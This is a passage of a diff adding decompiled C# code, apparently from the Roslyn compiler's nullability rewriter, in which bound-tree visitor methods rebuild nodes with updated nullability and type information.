(boundConditionalOperator.TopLevelNullability, _) = value; + } + else + { + boundConditionalOperator = node.Update(node.IsRef, condition, consequence, alternative, node.ConstantValueOpt, updatedSymbol, node.WasTargetTyped, node.Type); + } + return boundConditionalOperator; + } + + public override BoundNode? VisitArrayAccess(BoundArrayAccess node) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray indices = VisitList(node.Indices); + BoundArrayAccess boundArrayAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundArrayAccess = node.Update(expression, indices, value.Item2); + (boundArrayAccess.TopLevelNullability, _) = value; + } + else + { + boundArrayAccess = node.Update(expression, indices, node.Type); + } + return boundArrayAccess; + } + + public override BoundNode? VisitArrayLength(BoundArrayLength node) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundArrayLength boundArrayLength; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundArrayLength = node.Update(expression, value.Item2); + (boundArrayLength.TopLevelNullability, _) = value; + } + else + { + boundArrayLength = node.Update(expression, node.Type); + } + return boundArrayLength; + } + + public override BoundNode? VisitAwaitableInfo(BoundAwaitableInfo node) + { + PropertySymbol updatedSymbol = GetUpdatedSymbol(node, node.IsCompleted); + MethodSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.GetResult); + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder = (BoundAwaitableValuePlaceholder)Visit(node.AwaitableInstancePlaceholder); + BoundExpression getAwaiter = (BoundExpression)Visit(node.GetAwaiter); + return node.Update(awaitableInstancePlaceholder, node.IsDynamic, getAwaiter, updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitAwaitExpression(BoundAwaitExpression node) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundAwaitableInfo awaitableInfo = (BoundAwaitableInfo)Visit(node.AwaitableInfo); + BoundAwaitExpression boundAwaitExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundAwaitExpression = node.Update(expression, awaitableInfo, node.DebugInfo, value.Item2); + (boundAwaitExpression.TopLevelNullability, _) = value; + } + else + { + boundAwaitExpression = node.Update(expression, awaitableInfo, node.DebugInfo, node.Type); + } + return boundAwaitExpression; + } + + public override BoundNode? VisitTypeOfOperator(BoundTypeOfOperator node) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.GetTypeFromHandle); + BoundTypeExpression sourceType = (BoundTypeExpression)Visit(node.SourceType); + BoundTypeOfOperator boundTypeOfOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundTypeOfOperator = node.Update(sourceType, updatedSymbol, value.Item2); + (boundTypeOfOperator.TopLevelNullability, _) = value; + } + else + { + boundTypeOfOperator = node.Update(sourceType, updatedSymbol, node.Type); + } + return boundTypeOfOperator; + } + + public override BoundNode? VisitBlockInstrumentation(BoundBlockInstrumentation node) + { + LocalSymbol updatedSymbol = GetUpdatedSymbol(node, node.Local); + BoundStatement prologue = (BoundStatement)Visit(node.Prologue); + BoundStatement epilogue = (BoundStatement)Visit(node.Epilogue); + return node.Update(updatedSymbol, prologue, epilogue); + } + + public override BoundNode? VisitMethodDefIndex(BoundMethodDefIndex node) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.Method); + BoundMethodDefIndex boundMethodDefIndex; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundMethodDefIndex = node.Update(updatedSymbol, value.Item2); + (boundMethodDefIndex.TopLevelNullability, _) = value; + } + else + { + boundMethodDefIndex = node.Update(updatedSymbol, node.Type); + } + return boundMethodDefIndex; + } + + public override BoundNode? VisitLocalId(BoundLocalId node) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol updatedSymbol = GetUpdatedSymbol(node, node.Local); + FieldSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.HoistedField); + BoundLocalId boundLocalId; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundLocalId = node.Update(updatedSymbol, updatedSymbol2, value.Item2); + (boundLocalId.TopLevelNullability, _) = value; + } + else + { + boundLocalId = node.Update(updatedSymbol, updatedSymbol2, node.Type); + } + return boundLocalId; + } + + public override BoundNode? VisitParameterId(BoundParameterId node) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + ParameterSymbol updatedSymbol = GetUpdatedSymbol(node, node.Parameter); + FieldSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.HoistedField); + BoundParameterId boundParameterId; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundParameterId = node.Update(updatedSymbol, updatedSymbol2, value.Item2); + (boundParameterId.TopLevelNullability, _) = value; + } + else + { + boundParameterId = node.Update(updatedSymbol, updatedSymbol2, node.Type); + } + return boundParameterId; + } + + public override BoundNode? VisitStateMachineInstanceId(BoundStateMachineInstanceId node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundStateMachineInstanceId boundStateMachineInstanceId = node.Update(value.Item2); + (boundStateMachineInstanceId.TopLevelNullability, _) = value; + return boundStateMachineInstanceId; + } + + public override BoundNode? VisitMaximumMethodDefIndex(BoundMaximumMethodDefIndex node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundMaximumMethodDefIndex boundMaximumMethodDefIndex = node.Update(value.Item2); + (boundMaximumMethodDefIndex.TopLevelNullability, _) = value; + return boundMaximumMethodDefIndex; + } + + public override BoundNode? VisitInstrumentationPayloadRoot(BoundInstrumentationPayloadRoot node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundInstrumentationPayloadRoot boundInstrumentationPayloadRoot = node.Update(node.AnalysisKind, value.Item2); + (boundInstrumentationPayloadRoot.TopLevelNullability, _) = value; + return boundInstrumentationPayloadRoot; + } + + public override BoundNode? VisitModuleVersionId(BoundModuleVersionId node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundModuleVersionId boundModuleVersionId = node.Update(value.Item2); + (boundModuleVersionId.TopLevelNullability, _) = value; + return boundModuleVersionId; + } + + public override BoundNode? VisitModuleVersionIdString(BoundModuleVersionIdString node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundModuleVersionIdString boundModuleVersionIdString = node.Update(value.Item2); + (boundModuleVersionIdString.TopLevelNullability, _) = value; + return boundModuleVersionIdString; + } + + public override BoundNode? VisitSourceDocumentIndex(BoundSourceDocumentIndex node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundSourceDocumentIndex boundSourceDocumentIndex = node.Update(node.Document, value.Item2); + (boundSourceDocumentIndex.TopLevelNullability, _) = value; + return boundSourceDocumentIndex; + } + + public override BoundNode? VisitMethodInfo(BoundMethodInfo node) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.Method); + MethodSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.GetMethodFromHandle); + BoundMethodInfo boundMethodInfo; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundMethodInfo = node.Update(updatedSymbol, updatedSymbol2, value.Item2); + (boundMethodInfo.TopLevelNullability, _) = value; + } + else + { + boundMethodInfo = node.Update(updatedSymbol, updatedSymbol2, node.Type); + } + return boundMethodInfo; + } + + public override BoundNode? VisitFieldInfo(BoundFieldInfo node) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol updatedSymbol = GetUpdatedSymbol(node, node.Field); + MethodSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.GetFieldFromHandle); + BoundFieldInfo boundFieldInfo; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundFieldInfo = node.Update(updatedSymbol, updatedSymbol2, value.Item2); + (boundFieldInfo.TopLevelNullability, _) = value; + } + else + { + boundFieldInfo = node.Update(updatedSymbol, updatedSymbol2, node.Type); + } + return boundFieldInfo; + } + + public override BoundNode? VisitDefaultLiteral(BoundDefaultLiteral node) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundDefaultLiteral boundDefaultLiteral = node.Update(); + (boundDefaultLiteral.TopLevelNullability, _) = value; + return boundDefaultLiteral; + } + + public override BoundNode? VisitDefaultExpression(BoundDefaultExpression node) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + BoundTypeExpression targetType = node.TargetType; + BoundDefaultExpression boundDefaultExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDefaultExpression = node.Update(targetType, node.ConstantValueOpt, value.Item2); + (boundDefaultExpression.TopLevelNullability, _) = value; + } + else + { + boundDefaultExpression = node.Update(targetType, node.ConstantValueOpt, node.Type); + } + return boundDefaultExpression; + } + + public override BoundNode? VisitIsOperator(BoundIsOperator node) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundTypeExpression targetType = (BoundTypeExpression)Visit(node.TargetType); + BoundIsOperator boundIsOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundIsOperator = node.Update(operand, targetType, node.ConversionKind, value.Item2); + (boundIsOperator.TopLevelNullability, _) = value; + } + else + { + boundIsOperator = node.Update(operand, targetType, node.ConversionKind, node.Type); + } + return boundIsOperator; + } + + public override BoundNode? VisitAsOperator(BoundAsOperator node) + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundTypeExpression targetType = (BoundTypeExpression)Visit(node.TargetType); + BoundValuePlaceholder operandPlaceholder = node.OperandPlaceholder; + BoundExpression operandConversion = node.OperandConversion; + BoundAsOperator boundAsOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundAsOperator = node.Update(operand, targetType, operandPlaceholder, operandConversion, value.Item2); + (boundAsOperator.TopLevelNullability, _) = value; + } + else + { + boundAsOperator = node.Update(operand, targetType, operandPlaceholder, operandConversion, node.Type); + } + return boundAsOperator; + } + + public override BoundNode? VisitSizeOfOperator(BoundSizeOfOperator node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundTypeExpression sourceType = (BoundTypeExpression)Visit(node.SourceType); + BoundSizeOfOperator boundSizeOfOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundSizeOfOperator = node.Update(sourceType, node.ConstantValueOpt, value.Item2); + (boundSizeOfOperator.TopLevelNullability, _) = value; + } + else + { + boundSizeOfOperator = node.Update(sourceType, node.ConstantValueOpt, node.Type); + } + return boundSizeOfOperator; + } + + public override BoundNode? VisitConversion(BoundConversion node) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + GetUpdatedArray(node, node.OriginalUserDefinedConversionsOpt); + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundConversion boundConversion; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundConversion = node.Update(operand, node.Conversion, node.IsBaseConversion, node.Checked, node.ExplicitCastInCode, node.ConstantValueOpt, node.ConversionGroupOpt, node.OriginalUserDefinedConversionsOpt, value.Item2); + (boundConversion.TopLevelNullability, _) = value; + } + else + { + boundConversion = node.Update(operand, node.Conversion, node.IsBaseConversion, node.Checked, node.ExplicitCastInCode, node.ConstantValueOpt, node.ConversionGroupOpt, node.OriginalUserDefinedConversionsOpt, node.Type); + } + return boundConversion; + } + + public override BoundNode? VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.ConversionMethod); + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundReadOnlySpanFromArray boundReadOnlySpanFromArray; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundReadOnlySpanFromArray = node.Update(operand, updatedSymbol, value.Item2); + (boundReadOnlySpanFromArray.TopLevelNullability, _) = value; + } + else + { + boundReadOnlySpanFromArray = node.Update(operand, updatedSymbol, node.Type); + } + return boundReadOnlySpanFromArray; + } + + public override BoundNode? VisitArgList(BoundArgList node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundArgList boundArgList = node.Update(value.Item2); + (boundArgList.TopLevelNullability, _) = value; + return boundArgList; + } + + public override BoundNode? VisitArgListOperator(BoundArgListOperator node) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + BoundArgListOperator boundArgListOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundArgListOperator = node.Update(arguments, node.ArgumentRefKindsOpt, value.Item2); + (boundArgListOperator.TopLevelNullability, _) = value; + } + else + { + boundArgListOperator = node.Update(arguments, node.ArgumentRefKindsOpt, node.Type); + } + return boundArgListOperator; + } + + public override BoundNode? VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.ElementPointerType); + MethodSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.GetPinnableOpt); + BoundValuePlaceholder elementPointerPlaceholder = node.ElementPointerPlaceholder; + BoundExpression elementPointerConversion = node.ElementPointerConversion; + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundFixedLocalCollectionInitializer boundFixedLocalCollectionInitializer; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundFixedLocalCollectionInitializer = node.Update(updatedSymbol, elementPointerPlaceholder, elementPointerConversion, expression, updatedSymbol2, value.Item2); + (boundFixedLocalCollectionInitializer.TopLevelNullability, _) = value; + } + else + { + boundFixedLocalCollectionInitializer = node.Update(updatedSymbol, elementPointerPlaceholder, elementPointerConversion, expression, updatedSymbol2, node.Type); + } + return boundFixedLocalCollectionInitializer; + } + + public override BoundNode? VisitBlock(BoundBlock node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + ImmutableArray updatedArray2 = GetUpdatedArray(node, node.LocalFunctions); + BoundBlockInstrumentation instrumentation = (BoundBlockInstrumentation)Visit(node.Instrumentation); + ImmutableArray statements = VisitList(node.Statements); + return node.Update(updatedArray, updatedArray2, node.HasUnsafeModifier, instrumentation, statements); + } + + public override BoundNode? VisitScope(BoundScope node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + ImmutableArray statements = VisitList(node.Statements); + return node.Update(updatedArray, statements); + } + + public override BoundNode? VisitStateMachineScope(BoundStateMachineScope node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Fields); + BoundStatement statement = (BoundStatement)Visit(node.Statement); + return node.Update(updatedArray, statement); + } + + public override BoundNode? VisitLocalDeclaration(BoundLocalDeclaration node) + { + LocalSymbol updatedSymbol = GetUpdatedSymbol(node, node.LocalSymbol); + BoundTypeExpression declaredTypeOpt = (BoundTypeExpression)Visit(node.DeclaredTypeOpt); + BoundExpression initializerOpt = (BoundExpression)Visit(node.InitializerOpt); + ImmutableArray argumentsOpt = VisitList(node.ArgumentsOpt); + return node.Update(updatedSymbol, declaredTypeOpt, initializerOpt, argumentsOpt, node.InferredType); + } + + public override BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + LocalFunctionSymbol updatedSymbol = GetUpdatedSymbol(node, node.Symbol); + BoundBlock blockBody = (BoundBlock)Visit(node.BlockBody); + BoundBlock expressionBody = (BoundBlock)Visit(node.ExpressionBody); + return node.Update(updatedSymbol, blockBody, expressionBody); + } + + public override BoundNode? VisitSwitchStatement(BoundSwitchStatement node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.InnerLocals); + ImmutableArray updatedArray2 = GetUpdatedArray(node, node.InnerLocalFunctions); + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray switchSections = VisitList(node.SwitchSections); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + BoundSwitchLabel defaultLabel = (BoundSwitchLabel)Visit(node.DefaultLabel); + return node.Update(expression, updatedArray, updatedArray2, switchSections, reachabilityDecisionDag, defaultLabel, node.BreakLabel); + } + + public override BoundNode? VisitDoStatement(BoundDoStatement node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(updatedArray, condition, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitWhileStatement(BoundWhileStatement node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(updatedArray, condition, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitForStatement(BoundForStatement node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.OuterLocals); + ImmutableArray updatedArray2 = GetUpdatedArray(node, node.InnerLocals); + BoundStatement initializer = (BoundStatement)Visit(node.Initializer); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundStatement increment = (BoundStatement)Visit(node.Increment); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(updatedArray, initializer, updatedArray2, condition, increment, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitForEachStatement(BoundForEachStatement node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.IterationVariables); + BoundValuePlaceholder elementPlaceholder = node.ElementPlaceholder; + BoundExpression elementConversion = node.ElementConversion; + BoundTypeExpression iterationVariableType = (BoundTypeExpression)Visit(node.IterationVariableType); + BoundExpression iterationErrorExpressionOpt = (BoundExpression)Visit(node.IterationErrorExpressionOpt); + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundForEachDeconstructStep deconstructionOpt = (BoundForEachDeconstructStep)Visit(node.DeconstructionOpt); + BoundAwaitableInfo awaitOpt = (BoundAwaitableInfo)Visit(node.AwaitOpt); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(node.EnumeratorInfoOpt, elementPlaceholder, elementConversion, iterationVariableType, updatedArray, iterationErrorExpressionOpt, expression, deconstructionOpt, awaitOpt, body, node.BreakLabel, node.ContinueLabel); + } + + public override BoundNode? VisitUsingStatement(BoundUsingStatement node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundMultipleLocalDeclarations declarationsOpt = (BoundMultipleLocalDeclarations)Visit(node.DeclarationsOpt); + BoundExpression expressionOpt = (BoundExpression)Visit(node.ExpressionOpt); + BoundStatement body = (BoundStatement)Visit(node.Body); + BoundAwaitableInfo awaitOpt = (BoundAwaitableInfo)Visit(node.AwaitOpt); + return node.Update(updatedArray, declarationsOpt, expressionOpt, body, awaitOpt, node.PatternDisposeInfoOpt); + } + + public override BoundNode? VisitFixedStatement(BoundFixedStatement node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundMultipleLocalDeclarations declarations = (BoundMultipleLocalDeclarations)Visit(node.Declarations); + BoundStatement body = (BoundStatement)Visit(node.Body); + return node.Update(updatedArray, declarations, body); + } + + public override BoundNode? VisitCatchBlock(BoundCatchBlock node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.ExceptionTypeOpt); + BoundExpression exceptionSourceOpt = (BoundExpression)Visit(node.ExceptionSourceOpt); + BoundStatementList exceptionFilterPrologueOpt = (BoundStatementList)Visit(node.ExceptionFilterPrologueOpt); + BoundExpression exceptionFilterOpt = (BoundExpression)Visit(node.ExceptionFilterOpt); + BoundBlock body = (BoundBlock)Visit(node.Body); + return node.Update(updatedArray, exceptionSourceOpt, updatedSymbol, exceptionFilterPrologueOpt, exceptionFilterOpt, body, node.IsSynthesizedAsyncCatchAll); + } + + public override BoundNode? VisitLiteral(BoundLiteral node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundLiteral boundLiteral = node.Update(node.ConstantValueOpt, value.Item2); + (boundLiteral.TopLevelNullability, _) = value; + return boundLiteral; + } + + public override BoundNode? VisitUtf8String(BoundUtf8String node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundUtf8String boundUtf8String = node.Update(node.Value, value.Item2); + (boundUtf8String.TopLevelNullability, _) = value; + return boundUtf8String; + } + + public override BoundNode? VisitThisReference(BoundThisReference node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundThisReference boundThisReference = node.Update(value.Item2); + (boundThisReference.TopLevelNullability, _) = value; + return boundThisReference; + } + + public override BoundNode? VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundPreviousSubmissionReference boundPreviousSubmissionReference = node.Update(value.Item2); + (boundPreviousSubmissionReference.TopLevelNullability, _) = value; + return boundPreviousSubmissionReference; + } + + public override BoundNode? VisitHostObjectMemberReference(BoundHostObjectMemberReference node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundHostObjectMemberReference boundHostObjectMemberReference = node.Update(value.Item2); + (boundHostObjectMemberReference.TopLevelNullability, _) = value; + return boundHostObjectMemberReference; + } + + public override BoundNode? VisitBaseReference(BoundBaseReference node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundBaseReference boundBaseReference = node.Update(value.Item2); + (boundBaseReference.TopLevelNullability, _) = value; + return boundBaseReference; + } + + public override BoundNode? VisitLocal(BoundLocal node) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol updatedSymbol = GetUpdatedSymbol(node, node.LocalSymbol); + BoundLocal boundLocal; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundLocal = node.Update(updatedSymbol, node.DeclarationKind, node.ConstantValueOpt, node.IsNullableUnknown, value.Item2); + (boundLocal.TopLevelNullability, _) = value; + } + else + { + boundLocal = node.Update(updatedSymbol, node.DeclarationKind, node.ConstantValueOpt, node.IsNullableUnknown, node.Type); + } + return boundLocal; + } + + public override BoundNode? VisitPseudoVariable(BoundPseudoVariable node) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol updatedSymbol = GetUpdatedSymbol(node, node.LocalSymbol); + BoundPseudoVariable boundPseudoVariable; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundPseudoVariable = node.Update(updatedSymbol, node.EmitExpressions, value.Item2); + (boundPseudoVariable.TopLevelNullability, _) = value; + } + else + { + boundPseudoVariable = node.Update(updatedSymbol, node.EmitExpressions, node.Type); + } + return boundPseudoVariable; + } + + public override BoundNode? VisitRangeVariable(BoundRangeVariable node) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + RangeVariableSymbol updatedSymbol = GetUpdatedSymbol(node, node.RangeVariableSymbol); + BoundExpression value = (BoundExpression)Visit(node.Value); + BoundRangeVariable boundRangeVariable; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value2)) + { + boundRangeVariable = node.Update(updatedSymbol, value, value2.Item2); + (boundRangeVariable.TopLevelNullability, _) = value2; + } + else + { + boundRangeVariable = node.Update(updatedSymbol, value, node.Type); + } + return boundRangeVariable; + } + + public override BoundNode? VisitParameter(BoundParameter node) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + ParameterSymbol updatedSymbol = GetUpdatedSymbol(node, node.ParameterSymbol); + BoundParameter boundParameter; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundParameter = node.Update(updatedSymbol, value.Item2); + (boundParameter.TopLevelNullability, _) = value; + } + else + { + boundParameter = node.Update(updatedSymbol, node.Type); + } + return boundParameter; + } + + public override BoundNode? VisitLabel(BoundLabel node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundLabel boundLabel = node.Update(node.Label, value.Item2); + (boundLabel.TopLevelNullability, _) = value; + return boundLabel; + } + + public override BoundNode? VisitSwitchExpressionArm(BoundSwitchExpressionArm node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + BoundExpression whenClause = (BoundExpression)Visit(node.WhenClause); + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(updatedArray, pattern, whenClause, value, node.Label); + } + + public override BoundNode? VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray switchArms = VisitList(node.SwitchArms); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + BoundUnconvertedSwitchExpression boundUnconvertedSwitchExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundUnconvertedSwitchExpression = node.Update(expression, switchArms, reachabilityDecisionDag, node.DefaultLabel, node.ReportedNotExhaustive, value.Item2); + (boundUnconvertedSwitchExpression.TopLevelNullability, _) = value; + } + else + { + boundUnconvertedSwitchExpression = node.Update(expression, switchArms, reachabilityDecisionDag, node.DefaultLabel, node.ReportedNotExhaustive, node.Type); + } + return boundUnconvertedSwitchExpression; + } + + public override BoundNode? VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.NaturalTypeOpt); + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray switchArms = VisitList(node.SwitchArms); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + BoundConvertedSwitchExpression boundConvertedSwitchExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundConvertedSwitchExpression = node.Update(updatedSymbol, node.WasTargetTyped, expression, switchArms, reachabilityDecisionDag, node.DefaultLabel, node.ReportedNotExhaustive, value.Item2); + (boundConvertedSwitchExpression.TopLevelNullability, _) = value; + } + else + { + boundConvertedSwitchExpression = node.Update(updatedSymbol, node.WasTargetTyped, expression, switchArms, reachabilityDecisionDag, node.DefaultLabel, node.ReportedNotExhaustive, node.Type); + } + return boundConvertedSwitchExpression; + } + + public override BoundNode? VisitDagDeconstructEvaluation(BoundDagDeconstructEvaluation node) + { + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.DeconstructMethod); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(updatedSymbol, input); + } + + public override BoundNode? VisitDagFieldEvaluation(BoundDagFieldEvaluation node) + { + FieldSymbol updatedSymbol = GetUpdatedSymbol(node, node.Field); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(updatedSymbol, input); + } + + public override BoundNode? VisitDagPropertyEvaluation(BoundDagPropertyEvaluation node) + { + PropertySymbol updatedSymbol = GetUpdatedSymbol(node, node.Property); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(updatedSymbol, node.IsLengthOrCount, input); + } + + public override BoundNode? VisitDagIndexEvaluation(BoundDagIndexEvaluation node) + { + PropertySymbol updatedSymbol = GetUpdatedSymbol(node, node.Property); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(updatedSymbol, node.Index, input); + } + + public override BoundNode? VisitDagIndexerEvaluation(BoundDagIndexerEvaluation node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, 